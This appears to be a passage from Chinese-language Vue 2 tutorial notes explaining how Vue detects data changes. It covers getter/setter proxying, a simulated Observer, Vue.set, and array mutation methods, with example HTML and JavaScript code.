<h3 id="12-6-Vue监测数据改变的原理（对象）"><a href="#12-6-Vue监测数据改变的原理（对象）" class="headerlink" title="12.6 Vue监测数据改变的原理（对象）"></a>12.6 Vue监测数据改变的原理（对象）</h3><p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.i4sw68jb8l.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>Vue 在代理 data 数据时，不是将 data 数据直接存放到 vm._data 中的，而是对 data 进行了加工再放入。</p>
<p>这个加工就决定了 Vue 可以监测数据的变化，主要的加工也是为属性添加的了 getter 和 setter，并在 setter 函数中添加了解析模板、生成虚拟 DOM 等一系列操作，使数据变成了响应式的。</p>
<h3 id="12-7-模拟一个数据监测"><a href="#12-7-模拟一个数据监测" class="headerlink" title="12.7 模拟一个数据监测"></a>12.7 模拟一个数据监测</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 相当于 new Vue() 中写的 data</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> data =  &#123;</span><br><span class="javascript">        <span class="hljs-attr">name</span>: <span class="hljs-string">&quot;尚硅谷&quot;</span>,</span><br><span class="javascript">        <span class="hljs-attr">address</span>: <span class="hljs-string">&quot;北京&quot;</span></span><br><span class="javascript">    &#125;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置一个观察者，代理 data 中的数据，这个相当于 vm._data</span></span><br><span class="javascript">    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Observer</span>(<span class="hljs-params">data</span>) </span>&#123;</span><br><span class="javascript">        <span class="hljs-comment">// 汇总对象中所有的属性形成一个数组</span></span><br><span class="javascript">        <span class="hljs-keyword">const</span> keys = <span class="hljs-built_in">Object</span>.keys(data)</span><br><span class="javascript"></span><br><span class="javascript">        keys.forEach(<span class="hljs-function">(<span class="hljs-params">k</span>) =&gt;</span> &#123;</span><br><span class="javascript">            <span class="hljs-built_in">Object</span>.defineProperty(<span class="hljs-built_in">this</span>, k, &#123;</span><br><span class="javascript">                <span class="hljs-function"><span class="hljs-title">get</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                    <span class="hljs-keyword">return</span> data[k];</span><br><span class="javascript">                &#125;,</span><br><span class="javascript">                <span class="hljs-function"><span class="hljs-title">set</span>(<span class="hljs-params">value</span>)</span> &#123;</span><br><span class="javascript">                    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">$&#123;k&#125;</span>被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`</span>)</span><br><span class="javascript">                    data[k] = value;</span><br><span class="javascript">                &#125;</span><br><span class="javascript">            &#125;)</span><br><span class="javascript">        &#125;)</span><br><span class="javascript">    &#125;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 将 data 数据交给 Observer 代理</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> obs = <span class="hljs-keyword">new</span> Observer(data);</span><br><span class="javascript">    <span class="hljs-built_in">console</span>.log(obs);</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 模拟 Vue 中的数据</span></span><br><span class="javascript">    <span class="hljs-keyword">let</span> vm = &#123;&#125;;</span><br><span class="javascript">    vm._data = obs;</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>测试一下</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.4y3hzk8y31s0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="12-8-Vue-set-的使用"><a href="#12-8-Vue-set-的使用" class="headerlink" title="12.8 Vue.set() 的使用"></a>12.8 Vue.set() 的使用</h3><p><code>Vue.set()</code> 或 <code>vm.$set()</code> 可以为 vm 添加一个响应式数据 </p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>学校信息<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>学校名称：&#123;&#123;school.name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>学校地址：&#123;&#123;school.address&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">hr</span>/&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>学生信息<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;addSex&quot;</span>&gt;</span>添加一个性别属性，默认值是男<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>姓名：&#123;&#123;student.name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">&quot;student.sex&quot;</span>&gt;</span>性别：&#123;&#123;student.sex&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>年龄：真实&#123;&#123;student.age.rAge&#125;&#125;，对外&#123;&#123;student.age.sAge&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>朋友们<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(f,index) in student.friends&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;index&quot;</span>&gt;</span><br>            &#123;&#123;f.name&#125;&#125;--&#123;&#123;f.age&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>:&#123;</span><br><span class="javascript">            <span class="hljs-attr">school</span>:&#123;</span><br><span class="javascript">                <span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;尚硅谷&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">address</span>:<span class="hljs-string">&#x27;北京&#x27;</span>,</span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-attr">student</span>:&#123;</span><br><span class="javascript">                <span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;tom&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">age</span>:&#123;</span><br><span class="javascript">                    <span class="hljs-attr">rAge</span>:<span class="hljs-number">40</span>,</span><br><span class="javascript">                    <span class="hljs-attr">sAge</span>:<span class="hljs-number">29</span>,</span><br><span class="javascript">                &#125;,</span><br><span class="javascript">                <span class="hljs-attr">friends</span>:[</span><br><span class="javascript">                    &#123;<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;jerry&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">35</span>&#125;,</span><br><span class="javascript">                    &#123;<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;tony&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">36</span>&#125;</span><br><span class="javascript">                ]</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">addSex</span>(<span class="hljs-params"></span>)</span>&#123;</span><br><span class="javascript">                <span class="hljs-comment">// 两种写法</span></span><br><span class="javascript">                <span class="hljs-comment">// Vue.set(this.student,&#x27;sex&#x27;,&#x27;男&#x27;)</span></span><br><span class="javascript">                <span class="hljs-built_in">this</span>.$set(<span class="hljs-built_in">this</span>.student,<span class="hljs-string">&#x27;sex&#x27;</span>,<span class="hljs-string">&#x27;男&#x27;</span>)</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.6zmpcx78zg40.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.4m8k5f8ke8m0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>但是存在局限性 <a target="_blank" rel="noopener" href="https://cn.vuejs.org/v2/api/#Vue-set">官网</a></p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.4jjo5tn5ps00.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="12-9-Vue监测数据的改变的原理（数组）"><a href="#12-9-Vue监测数据的改变的原理（数组）" class="headerlink" title="12.9 Vue监测数据的改变的原理（数组）"></a>12.9 Vue监测数据的改变的原理（数组）</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>姓名：&#123;&#123;student.name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>爱好<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(h,index) in student.hobby&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;index&quot;</span>&gt;</span><br>            &#123;&#123;h&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>朋友们<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(f,index) in student.friends&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;index&quot;</span>&gt;</span><br>            &#123;&#123;f.name&#125;&#125;--&#123;&#123;f.age&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> vm = <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>:&#123;</span><br><span class="javascript">            <span class="hljs-attr">student</span>:&#123;</span><br><span class="javascript">                <span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;tom&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">hobby</span>:[<span class="hljs-string">&#x27;抽烟&#x27;</span>,<span class="hljs-string">&#x27;喝酒&#x27;</span>,<span class="hljs-string">&#x27;烫头&#x27;</span>],</span><br><span class="javascript">                <span class="hljs-attr">friends</span>:[</span><br><span class="javascript">                    &#123;<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;jerry&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">35</span>&#125;,</span><br><span class="javascript">                    &#123;<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;tony&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">36</span>&#125;</span><br><span class="javascript">                ]</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.4ktr2zyo2n00.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>但这并不代表 Vue 不能对数组数据进行监测，只是需要调用一些数组的方法，Vue 对这些方法进行了包装，因此在数据发生改变时就可以监测到。<a target="_blank" rel="noopener" href="https://cn.vuejs.org/v2/guide/list.html#%E5%8F%98%E6%9B%B4%E6%96%B9%E6%B3%95">官网</a></p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.3v8se62xnsw.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>测试：</p>
<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.2k0fywbxv480.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="12-10-总结Vue数据监测"><a href="#12-10-总结Vue数据监测" class="headerlink" title="12.10 总结Vue数据监测"></a>12.10 总结Vue数据监测</h3><p>汇总知识点与一个例子</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>学生信息<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 操作 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;student.age++&quot;</span>&gt;</span>年龄+1岁<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;addSex&quot;</span>&gt;</span>添加性别属性，默认值：男<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;student.sex = &#x27;未知&#x27; &quot;</span>&gt;</span>修改性别<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click.once</span>=<span class="hljs-string">&quot;addFriend&quot;</span>&gt;</span>在列表首位添加一个朋友<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;updateFirstFriendName&quot;</span>&gt;</span>修改第一个朋友的名字为：张三<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;addHobby&quot;</span>&gt;</span>添加一个爱好<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;updateHobby&quot;</span>&gt;</span>修改第一个爱好为：开车<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;removeSmoke&quot;</span>&gt;</span>过滤掉爱好中的抽烟<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">br</span>/&gt;</span><br>    <span class="hljs-comment">&lt;!-- 展示数据 --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>姓名：&#123;&#123;student.name&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>年龄：&#123;&#123;student.age&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">&quot;student.sex&quot;</span>&gt;</span>性别：&#123;&#123;student.sex&#125;&#125;<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>爱好：<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(h,index) in student.hobby&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;index&quot;</span>&gt;</span><br>            &#123;&#123;h&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>朋友们：<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(f,index) in student.friends&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;index&quot;</span>&gt;</span><br>            &#123;&#123;f.name&#125;&#125;--&#123;&#123;f.age&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> vm = <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>:&#123;</span><br><span class="javascript">            <span class="hljs-attr">student</span>:&#123;</span><br><span class="javascript">                <span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;tom&#x27;</span>,</span><br><span class="javascript">                <span class="hljs-attr">age</span>:<span class="hljs-number">18</span>,</span><br><span class="javascript">                <span class="hljs-attr">hobby</span>:[<span class="hljs-string">&#x27;抽烟&#x27;</span>,<span class="hljs-string">&#x27;喝酒&#x27;</span>,<span class="hljs-string">&#x27;烫头&#x27;</span>],</span><br><span class="javascript">                <span class="hljs-attr">friends</span>:[</span><br><span class="javascript">                    &#123;<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;jerry&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">35</span>&#125;,</span><br><span class="javascript">                    &#123;<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;tony&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">36</span>&#125;</span><br><span class="javascript">                ]</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">addSex</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                Vue.set(<span class="hljs-built_in">this</span>.student, <span class="hljs-string">&#x27;sex&#x27;</span>, <span class="hljs-string">&#x27;男&#x27;</span>);</span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">addFriend</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.student.friends.unshift(&#123;<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;tom&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">60</span>&#125;)</span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">updateFirstFriendName</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.student.friends[<span class="hljs-number">0</span>].name = <span class="hljs-string">&quot;张三&quot;</span>;</span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">addHobby</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.student.hobby.push(<span class="hljs-string">&#x27;学习&#x27;</span>);</span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">updateHobby</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-comment">// this.student.hobby.splice(0, 1, &#x27;开车&#x27;);</span></span><br><span class="javascript">                Vue.set(<span class="hljs-built_in">this</span>.student.hobby, <span class="hljs-number">0</span>, <span class="hljs-string">&#x27;开车&#x27;</span>);</span><br><span class="javascript">            &#125;,</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">removeSmoke</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.student.hobby = <span class="hljs-built_in">this</span>.student.hobby.filter(<span class="hljs-function">(<span class="hljs-params">h</span>) =&gt;</span> &#123;</span><br><span class="javascript">                    <span class="hljs-keyword">return</span> h !== <span class="hljs-string">&#x27;抽烟&#x27;</span>;</span><br><span 